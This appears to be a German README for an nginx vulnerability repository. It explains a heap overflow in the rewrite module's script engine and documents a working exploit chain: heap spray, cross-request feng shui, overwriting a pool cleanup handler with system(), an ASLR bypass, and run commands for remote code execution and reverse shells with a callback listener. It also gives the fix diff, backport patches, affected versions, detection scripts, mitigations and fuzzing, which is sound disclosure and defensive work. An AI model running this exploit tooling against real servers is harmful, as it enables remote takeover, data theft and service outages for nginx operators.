location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

**Wichtigste Anforderungen:**
- Eine `rewrite`-Direktive, deren Ersetzung `?` (Query-String-Trennzeichen) enthält
- Eine anschließende `set`-, `if`- oder `rewrite`-Direktive, die auf einen **unbenannten PCRE-Capture** (`$1`, `$2`, usw.) verweist
- Das `?` in der Rewrite-Ersetzung löst `ngx_http_script_start_args_code` aus, das `e->is_args = 1` setzt

### Was ein Angreifer erreichen kann

| Fähigkeit | Beschreibung |
|-----------|-------------|
| **Denial of Service** | Deterministisches Abstürzenlassen von Worker-Prozessen, was Respawn-Schleifen verursacht (funktioniert unabhängig von ASLR) |
| **Remote Code Execution** | Bei deaktiviertem ASLR (oder umgangen per Partiellem Überschreiben) vollständige RCE als der Nginx-Benutzer erreichen |
| **Datendiebstahl** | Durch Memory-Read-Primitives sensible Daten aus dem Worker-Heap extrahieren |
| **Persistenz** | Hintertüren per Codeausführung im Speicher des Worker-Prozesses platzieren |

---

## 2. Root-Cause-Analyse

### Die Zwei-Pass-Script-Engine

Die `ngx_http_rewrite_module` von NGINX verwendet eine **Zwei-Pass-Script-Engine** in `src/http/ngx_http_script.c`:

1. **Längen-Pass** (`ngx_http_script_run`): iteriert über alle Script-Codes, um die benötigte Gesamtpuffergröße zu berechnen. Schreibt Längen nach `le.ip` und `le.pos`.
2. **Kopier-Pass** (`ngx_http_script_copy_len`/`_code`): iteriert erneut und schreibt die tatsächlichen Bytes in den vorab zugewiesenen Puffer an `e->ip` und `e->pos`.

Jeder Script-Code hat zwei Handler: einen für jeden Pass. Zum Beispiel:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### Das `is_args`-Flag

Das Flag `e->is_args` auf der **Engine-Struktur** (`ngx_http_script_engine_t`) steuert, wie der Kopier-Pass bestimmte Zeichen behandelt:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

1. Während der **Rewrite-Auswertung** stößt die Engine in der Ersetzungszeichenfolge auf `?`, was `ngx_http_script_start_args_code` auslöst und `e->is_args = 1` setzt.
2. Das Rewrite ändert die Request-URI und fährt dann mit der nächsten Direktive fort.
3. **`e->is_args` wird NIE GELÖSCHT**.

Dann:```
set $original_endpoint $1;

Das Expansionsverhältnis ist `7 + (n_escapable * 2)`, wobei `n_escapable` die Anzahl von `+`, `%` und `&` im Capture ist.

---

## 3. Exploit-Mechanik

### Übersicht

| Schritt | Technik | Beschreibung |
|------|-----------|-------------|
| 1 | Overflow | Sende eine präparierte URI mit `+`-Padding, um den Heap-Puffer zum Überlaufen zu bringen |
| 2 | Heap Spray | Sende große Bodies per POST an `/spray`, um den Heap mit kontrollierten Daten zu füllen |
| 3 | Feng Shui | Ordne Allokationen so an, dass das Overflow-Ziel (`ngx_pool_cleanup_t`) benachbart ist |
| 4 | Corrupt Handler | Overflow überschreibt `ngx_pool_cleanup_t.handler` mit der Adresse von `system()` |
| 5 | Trigger Cleanup | Warte auf die Zerstörung des Pools → `system(cmd)` führt den Angreiferbefehl aus |
| 6 | Reverse Shell | Verkette mit Reverse-Shell-Payload für interaktiven Zugriff |

### Cross-Request Feng Shui

**Single-request Feng Shui schlägt fehl**, weil der Overflow die Metadaten des Pools (`->d.next`, `->d.failed`) beschädigt, bevor er den `cleanup`-Zeiger erreicht. Wenn der Pool am Ende der Anfrage zerstört wird, verursachen die beschädigten Metadaten einen **Absturz, bevor `system()` aufgerufen wird**.

Stattdessen nutzt der Exploit **Cross-Request Feng Shui**:
1. **Request 1 (Spray)**: Sende einen großen Body per POST an `/spray`. Das Backend (`server.py`) hält die Antwort mit dem `X-Delay`-Header fest, hält die Verbindung offen und bewahrt die Heap-Allokation. Der Spray füllt den Heap mit gefälschten `ngx_pool_cleanup_t`-Blöcken.
2. **Request 2 (Overflow)**: Sende die Overflow-URI. Der Overflow beschädigt nur den `cleanup`-Zeiger (nicht die Pool-Metadaten) und zeigt ihn auf den gesprayten gefälschten Block.
3. **Pool-Zerstörung**: Wenn die Spray-Antwort abgeschlossen ist (Verzögerung abläuft), wandert die Cleanup-Kette des Pools zum gefälschten Block und ruft `system(cmd)` auf.

### Adressanforderungen

| Symbol | Wert (Docker, ASLR deaktiviert) | Beschreibung |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Basis des nginx-Heaps |
| `system@libc` | `0x7ffff6f6e420` | `system()` in glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Zeiger auf den Cycles-Pool |
| Fake-Cleanup-Adresse | `0x5555556a4030` | Zieladresse des Sprays |

### ASLR-Bypass

Ohne ASLR zu deaktivieren, funktioniert der **DoS** (Absturz) weiterhin deterministisch. Für RCE bei aktiviertem ASLR gibt es zwei Ansätze:

1. **Partielles Überschreiben**: Verwende einen 1-Byte- oder 2-Byte-Overwrite, um einen Zeiger innerhalb derselben Seite zu verschieben, und brute-force die restlichen Nibbles (16–256 Versuche).
2. **Informationsleck**: Lies `/proc/self/maps` oder nutze die Speicheranalyse von `log_parser.py`, um das Layout zu bestimmen.

---

## 4. Analyse des Fixes

### Der offizielle Fix

**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**Datei**: `src/http/ngx_http_script.c`  
**Zeile**: ~1205 (in `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

### Backport-Patches

| Patch | Nginx-Versionen |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Betroffene Versionen

### NGINX Open Source

| Bereich | Status |
|-------|--------|
| **0.1.0 – 0.6.26** | Nicht betroffen (Rewrite-Modul stammt aus der Zeit vor unbenannten Captures) |
| **0.6.27 – 1.30.0** | **Verwundbar** (18-Jahres-Zeitraum) |
| **1.30.1** | Erste behobene Version |
| **1.31.0+** | Behoben (Mainline) |

### NGINX Plus

| Release | Betroffen | Behoben |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### NGINX-Ökosystem

| Produkt | Betroffen | Status |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Sicherheitshinweis ausstehend |
| F5 NGINX WAF | 5.9.0–5.12.1 | Sicherheitshinweis ausstehend |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Sicherheitshinweis ausstehend |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Sicherheitshinweis ausstehend |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Sicherheitshinweis ausstehend |
| NGINX Agent | 2.0.0–2.35.0 | Sicherheitshinweis ausstehend |

---

## 6. Erkennung

### Versionsprüfung```bash
bash detection/detect_vuln.sh

### Container-Scan```bash
python3 detection/container_scan.py

---

## 7. Gegenmaßnahmen

### Sofortmaßnahme (ohne Codeänderung)

Ersetzen Sie **unbenannte Captures** durch **benannte Captures** in allen `rewrite`-Direktiven:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Wendet diese Härtungsmaßnahmen an:
- ASLR-Verifizierung und erzwungene Aktivierung
- Isolierung von Worker-Prozessen
- Einschränkung von Core Dumps
- SSL/TLS-Härtung
- Ratenbegrenzung
- CSP-Header

### ASLR-Prüfung```bash
bash detection/check_aslr.sh

---

## 9. Schnellstart```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

Die Docker-Umgebung:
- Baut NGINX aus dem Quellcode bei Commit `98fc3bb78` (letzter anfälliger Commit vor dem Fix)
- Enthält GDB, valgrind, `util-linux` (für `setarch -R` zum Deaktivieren von ASLR)
- Gibt Ports **19321** (anfälliges nginx), **19322** (sekundär), **19323** (Python-Backend) frei
- Der Entrypoint verwendet `setarch x86_64 -R`, um ASLR für ein deterministisches Exploit-Adresslayout zu deaktivieren
- Gewährt die Capability `SYS_PTRACE` und `seccomp=unconfined` zum Debuggen

### Nur die anfällige Version```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

### ASAN Container```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

---

## 11. Auslösen des Überlaufs

### Grundlegender Absturz (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

Die `+`-Zeichen im Capture `$1` werden beim Kopierdurchgang 3× erweitert, während der Puffer für die Rohlänge bemessen war, wodurch der Heap überläuft.

### Erwartete Ausgabe```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Berechnet die minimale Anzahl von `+`-Zeichen, die benötigt wird, um eine Zielanzahl von Bytes zu überlaufen (nützlich beim Ausnutzen bestimmter Heap-Strukturen).

### Zeichenerweiterung```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

### Grundlegende Verwendung```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

### Erweiterte Optionen

| Flag | Standard | Beschreibung |
|------|----------|--------------|
| `--host` | `127.0.0.1` | Ziel-Host |
| `--port` | `19321` | Ziel-Port |
| `--cmd` | — | Auszuführender Befehl (erforderlich, außer bei `--shell`) |
| `--shell` | — | Interaktiven Shell-Modus verwenden |
| `--tries` | `3` | Anzahl der Exploit-Versuche |
| `--delay` | `2.0` | Verzögerung zwischen Spray und Overflow (Sekunden) |
| `--payload` | — | Pfad zur benutzerdefinierten Payload-Datei |
| `--debug` | — | Ausführliche Debug-Ausgabe aktivieren |

### Heap-Layout-Analyse```bash
python3 exploit/heap_layout.py

Findet Heap-Adressen, deren Bytes keine escapbaren Zeichen (`+`, `%`, `&`, `?`, etc.) enthalten, für die Verwendung beim Aufbau von Exploit-Payloads.

---

## 13. Reverse-Shell-Verifizierung

### Architektur```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

### Automatisierte Verifizierung```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

---

## 14. Patchen

### Den Fix anwenden```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

### Backport anwenden```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

---

## 15. Testen

### Unit-Tests```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Läufe:
1. Unit-Tests (pytest oder unittest)
2. Trigger-/Überlauftest (falls der Server läuft)
3. Konfigurationsscanner gegen anfällige und sichere Konfigurationen
4. Patch-Trockenlauf-Validierung

### Regressionsmatrix```bash
bash tools/regression_matrix.sh

Testet alle Konfigurationsmuster (basic, advanced, ingress, gateway) mit Overflow-Auslösern.

---

## 16. Fuzzing

### libFuzzer-Harness

Der Fuzzer (`fuzz/ngx_http_script_fuzz.c`) simuliert die Zwei-Pass-Script-Engine:
1. Analysiert die Eingabe als eine Sequenz von Script-Codes
2. Führt den Längendurchlauf aus
3. Führt den Kopierdurchlauf mit `e->is_args = 1` aus
4. Erkennt Buffer-Overflows mittels ASAN oder Größenabweichungen```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

Startet AFL++ mit ASAN, konfigurierbarem Timeout und Speicherlimits gegen den Fuzzing-Harness.

### Seed-Korpus

Das Verzeichnis `fuzz/corpus/` enthält Seed-Eingaben, die das verwundbare Muster reproduzieren, darunter:
- Einfacher Overflow-Trigger
- Named Capture (sollte nicht überlaufen)
- Randfälle (leere Capture-Gruppe, maximale Größe usw.)

---

## 17. CI-Pipeline

### GitHub Actions

Das Projekt verwendet einen **einzigen GitHub Actions CI**-Workflow (`.github/workflows/ci.yml`) mit diesen Jobs:

| Job | Was er tut |
|-----|-------------|
| `lint` | ShellCheck, Python-Syntaxprüfung |
| `scan-configs` | Führt config_scanner.py gegen alle Konfigurationsbeispiele aus |
| `fuzz-build` | Baut den libFuzzer-Harness |
| `test` | Führt die pytest/unittest-Suite aus |
| `detect-patch` | Verifiziert das Patch-Format und den Inhalt des Fixes |
| `verify-project` | Führt `tools/verify_project.sh` aus |

### Vollständige Pipeline```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker